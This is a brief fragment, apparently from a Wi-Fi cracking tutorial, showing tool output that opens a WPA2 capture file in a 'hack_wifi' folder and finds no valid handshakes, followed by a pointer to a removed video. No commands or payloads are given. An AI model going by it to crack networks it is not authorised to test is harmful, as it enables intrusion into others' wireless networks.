Opening /root/Desktop/hack_wifi/wpa2psk-01.cap
No valid WPA handshakes found.

Watch the Video (it was taken down by YouTube years ago):